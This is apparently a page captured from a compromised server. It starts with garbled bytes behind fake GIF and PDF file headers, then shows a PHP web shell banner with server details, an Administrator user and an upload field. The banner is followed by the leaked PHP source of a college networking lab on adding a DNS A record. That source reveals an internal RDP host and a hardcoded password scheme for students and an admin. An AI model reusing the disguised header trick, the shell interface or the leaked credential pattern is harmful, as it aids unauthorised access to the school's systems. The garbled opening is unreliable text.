GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2276/Labs/Lab02.3/ |
Upload File : |
<? // JimMartinson/CST2276/Labs/Lab02/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. require('application.phpinc'); #d_Var('$_SESSION',$_SESSION,'d') $disabled = ''; $disabled = ' disabled'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $userPassword = 'cst'.$_SESSION['userStudentId']; if ( $_SESSION['userId'] == 1 ) $userPassword = 'cst12345678'; require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc'); // Includes 'Gradebook/EvaluationSubmission_BEGIN.phpinc'. ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> The purpose of this lab is to add your server to the WarZone DNS server. <br><?=$gradeNote?> <ol> <li> Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li>Modify your default website index.html file. <span class="note">If an <b>index.html</b> file does not exist, rename the <b>iisstart.htm</b> file.</span> <ol> <li>Open your <b>C:\inetpub\wwwroot\index.html</b> file in an editor.</li> <li>After the <b><body></b> tag add an h1 tag: <b><h1><?=$userFullName?></h1></b>.</li> <li>Save the change.</li> </ol> </li> <li>Add an A record for your server to the WarZone DNS server. <ol> <li>RDP to the WarZone DNS server at <b>172.20.178.2</b> using the credentials: <ul> <li>User name: <b><?=$userShortName?></b></li> <li>Password <b><?=$userPassword?></b></li> </ul> </li> <li> Run the <b>DNS Manager</b>. </li> <li>In the <b>DNS / WARZONE-DNS / Forward Lookup Zones / war</b> container add an A record (New Host) for your domain. <br>The name for the record is <b><?=strtolower($userShortName)?></b> and the IP address is the address of your <?=strtolower($userShortName)?>-iis server. <br>Ensure your A record is visable in the right pane of the DNS Manager. </li> <li>Take a screenshot and save it as <b><?=$saveFileName_A?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="JimMartinson-Lab01a.png" alt="DNS Manager screenshot"> <? showEnd (); ?> </li> <li><b>Sign out.</b> This will close your RDP session.</li> </ol> </li> <li>Verify your A record works. <ol> <li>From your <?=strtolower($userShortName)?>-iis server, open a browser and enter <b>http://<?=strtolower($userShortName)?>.war</b> into the location bar. <br>Your site should show up. </li> <li>Take a screenshot and save it as <b><?=$saveFileName_B?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="JimMartinson-Lab01b.png" alt="Browser screenshot"> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>